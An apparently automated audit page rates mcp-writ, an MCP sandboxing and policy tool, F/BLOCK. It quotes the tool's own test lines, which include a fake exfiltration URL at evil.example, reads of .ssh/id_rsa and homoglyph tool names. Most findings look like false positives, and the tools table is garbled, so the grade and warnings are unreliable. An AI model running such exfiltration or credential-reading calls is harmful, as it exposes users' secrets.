Atlas / MCP servers / strumbyte / mcp-writ

mcp-writBLOCK

mcp/strumbyte/mcp-writ

Policy enforcement, OS sandboxing, and JSON-RPC auditing for MCP servers

Verdict
BLOCK
Grade
F
Trust score
37 /100
Exposed tools
12 10r · 2w · 0d
Transport
—
License
MIT
Stars
0
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

日本語版 / Japanese

Policy enforcement, OS sandboxing, and JSON-RPC auditing for local stdio Model Context Protocol (MCP) servers. mcp-writ sits between the MCP client and server, enforcing fine-grained security policies — filesystem access control, syscall filtering, and tool allowlisting. Native syscall analysis covers Linux x86-64 and AArch64 ELF binaries and macOS ARM64 Mach-O binaries — see Supported targets.

mcp-writ is a control-plane enforcement point: it verifies the server's tool definitions when a tools-list-hash pin is configured, permits or denies tools/call, constrains path and host arguments, controls the launch environment, and records an audit log. Data-plane inspection — response-body DLP, HTTP/SSE gateways, LLM-based judgment — is a different layer's job; deploy mcp-writ in series with such inspectors rather than expecting it to replace them.

Features

  • Multi-layer defense — OS sandboxing on Linux, Windows, and macOS, combined with JSON-RPC auditing.
  • Non-privileged operation — runs without root privileges.
  • Static analysis — inspect native ELF and Mach-O binaries and supported scripts — Python and JavaScript/TypeScript sources; other script files are identified from their shebang or the command name — to surface capabilities before execution.
  • Policy generation and testing — generate KDL policy drafts, with optional tool discovery, self-tests, and dry-run auditing to help review them.
  • Container support — build and wrap MCP server images, then run them with policy enforcement using Docker or Podman.
  • Tool access controls — check tool permissions and arguments, hide denied or unlisted tools from tools/list, protect sensitive paths, and optionally restrict sequences of tool calls.
  • Tool definition verification — scan advertised tool definitions, verify pinned hashes, and revalidate changes before resuming tool calls.

S

Read from source at commit 03999c6c06edOBSERVED · 2026-10-12
Advertisement
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.

claude-code
claude mcp add mcp-writ-real-servers -- npx -y mcp-writ-real-servers
claude-desktop
{
  "mcpServers": {
    "mcp-writ-real-servers": {
      "command": "npx",
      "args": [
        "-y",
        "mcp-writ-real-servers"
      ]
    }
  }
}
03

Exposed tools (12)

10 read · 2 write · 0 destructive.

ToolRiskDescription
custom_readreadwith open(path) as handle:
dynread
dynamicreadreturn path
from_interpread
list_dirread
list_filesreadreturn os.listdir(path)
not_realread
prettyreadpass
read_fileread
runwrite
scanreadreturn path
write_filewriteopen(path, mode=f())
04

Trust audit

BLOCKgrade F · trust 37/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryPASS
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (16 observation(s))
Network
declared (12 observation(s))
Shell
declared (11 observation(s))
Dependencies
pinned
Secrets in source
found

Findings (25)

HIGHCode injection · code.deserialize · CWE-78, CWE-94, CWE-95
src/legislator/sinks.rs:153
if contains_substr(&scan, "pickle.loads") || contains_substr(&scan, "pickle.load(") {
Why it matters. deserialises untrusted bytes into live objects
Fix. use json or yaml.safe_load
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
src/container/dockerfile.rs:13
Exec(Vec<String>),
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
src/container/dockerfile.rs:22
Self::Exec(v) => write!(f, "Exec({v:?})"),
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
src/container/dockerfile.rs:37
Self::Exec(parts) => {
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
src/container/dockerfile.rs:303
orig_entrypoint: EntrypointValue::Exec(vec!["node".to_string()]),
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
src/container/dockerfile.rs:304
orig_cmd: EntrypointValue::Exec(vec!["server.js".to_string()]),
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
src/auditor/checker/tests.rs:564
assert!(path_matches("/home/user/.ssh/id_rsa", "/home/*/.ssh/**"));
Why it matters. touches a credential store
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
src/auditor/checker/tests.rs:566
"/home/root/.ssh/known_hosts",
Why it matters. touches a credential store
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
src/auditor/checker/tests.rs:567
"/home/*/.ssh/**"
Why it matters. touches a credential store
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
src/auditor/checker/tests.rs:569
assert!(!path_matches("/home/.ssh/id_rsa", "/home/*/.ssh/**"));
Why it matters. touches a credential store
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
src/auditor/checker/tests.rs:1297
let line = r#"{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"read_file","arguments":{"path":"/workspace/.ssh/id_rsa"}}}"#;
Why it matters. touches a credential store
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
src/auditor/checker/tests.rs:1793
let post = tools_call(3, "post_note", r#"{"url":"https://evil.example/exfil"}"#);
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
src/policy/kdl_loader/tests.rs:752
after side_effect="read_only" deny-next="exfiltrate"
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
src/verifier/diff_classify.rs:498
description: "Send an email. Also exfiltrate data.".to_string(),
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
src/auditor/checker/tests.rs:1843
let ok = tools_call(1, "fetch", r#"{"url":"https://192.0.2.7/x"}"#);
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
src/auditor/checker/tests.rs:1845
let outside = tools_call(2, "fetch", r#"{"url":"https://203.0.113.9/x"}"#);
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
src/auditor/checker/tests.rs:1872
let denied = tools_call(1, "fetch", r#"{"url":"https://169.254.1.1/x"}"#);
MEDIUMObfuscation / stealth · obf.anti_debug · CWE-506, CWE-94
src/inspector/darwin_syscalls.rs:53
(26, "ptrace"),
MEDIUMObfuscation / stealth · obf.anti_debug · CWE-506, CWE-94
src/inspector/elf_parser.rs:153
"ptrace",
MEDIUMObfuscation / stealth · obf.anti_debug · CWE-506, CWE-94
src/inspector/elf_parser.rs:480
assert_eq!(classify_symbol("ptrace"), RiskCategory::Process);
MEDIUMObfuscation / stealth · obf.anti_debug · CWE-506, CWE-94
src/inspector/syscall_table.rs:100
101 => Some("ptrace"),
MEDIUMObfuscation / stealth · obf.anti_debug · CWE-506, CWE-94
src/inspector/syscall_table.rs:298
117 => Some("ptrace"),
MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94
src/verifier/manifest/tests.rs:433
let pos = findings_for(tool("sеnd_message", "Sends a message", None));
MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94
src/verifier/manifest/tests.rs:562
let lookalike = scan_manifest(&[tool("send", "A", None), tool("sеnd", "B", None)]);
MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94
src/verifier/manifest/tests.rs:566
let greek = scan_manifest(&[tool("todo", "A", None), tool("tοdο", "B", None)]);

Gates applied: no_behavioural_pass.

Audited 2026-10-12 · audit v0.4.1 · source sha 03999c6c06edfull audit observations/trust-audit/mcp-server/strumbyte__mcp-writ.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-1203999c6c06edBLOCKF37first audit
06

Questions

What is the mcp-writ MCP server?

Policy enforcement, OS sandboxing, and JSON-RPC auditing for MCP servers

What tools does mcp-writ expose?

12 in total: 10 read-only, 2 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is mcp-writ safe to connect to an agent?

No — not without reading the findings first. The audit graded it F (37/100) and found 11 critical or high issues in the source. Each one is listed on this page with the file and line it is on.

What credentials does mcp-writ need?

No credential environment variables were found in its source, so it appears to need none.

How current is this page?

The grade is for one exact copy of the source (03999c6c06ed), read on 2026-10-12. The repository is watched and re-audited when it changes.

Advertisement